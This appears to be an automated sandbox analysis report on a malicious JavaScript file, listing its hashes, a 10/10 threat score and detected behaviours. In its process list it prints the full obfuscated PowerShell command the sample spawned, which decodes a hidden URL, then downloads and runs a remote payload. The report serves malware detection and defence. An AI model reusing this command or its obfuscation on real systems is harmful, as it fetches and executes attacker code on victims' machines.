Analysis
-
max time kernel
118s -
max time network
118s -
platform
windows7_x64 -
resource
win7-20241023-en -
resource tags
-
submitted
21-12-2024 15:08
General
-
Target
4dc0e785d6c3ae91c5d319bd115af1938f9d4aa8fdfda970251c0c8e5f1ef801.js
-
Size
220KB
-
MD5
3589bfb526b9ec518fbff4e6288c6bf9
-
SHA1
58d7a19a13cc2bd0e17c83a299decb11f51a1202
-
SHA256
4dc0e785d6c3ae91c5d319bd115af1938f9d4aa8fdfda970251c0c8e5f1ef801
-
SHA512
16be0fd76f817e49247b6a1a729659dd0758b04946d1a33271660f26a4f92ae6417f3aa25873e511600d26a0c0e393eb87e3b6a487a6b25211bd05e4f9c5cb69
-
SSDEEP
1536:nwWXnWgQWy7zp3y/4NZsFZc1lg2YoRp5qitCy7zp3y/4NZsFZc1lgzYoRp5qit0c:ny64T3oOn64T3TO3OE64T3364T3N
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\4dc0e785d6c3ae91c5d319bd115af1938f9d4aa8fdfda970251c0c8e5f1ef801.js1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $lhbwsyacipxtq='ur' ;new-alias printout c$($lhbwsyacipxtq)l;$iqhueydokzrjfp=(2863,2874,2882,2866,2868,2863,2883,2882,2887,2820,2882,2816,2863,2811,2881,2876,2877,2812,2814,2811,2877,2869,2877,2828,2880,2826,2874,2870,2875,2881,2880,2815,2814);$oczkdnymg=('bronx','get-cmdlet');$dhnxyvjgilbm=$iqhueydokzrjfp;foreach($cawzighv in $dhnxyvjgilbm){$xosmulqpkn=$cawzighv;$azshmlbp=$azshmlbp+[char]($xosmulqpkn-2765);$ejqhmdcu=$azshmlbp; $tcrxepkjwby=$ejqhmdcu};$xdmiytzpvwr[2]=$tcrxepkjwby;$lscjrt='rl';$tqpevxm=1;.$([char](9992-9887)+'e'+'x')(printout -useb $tcrxepkjwby)1⤵
- Process spawned unexpected child process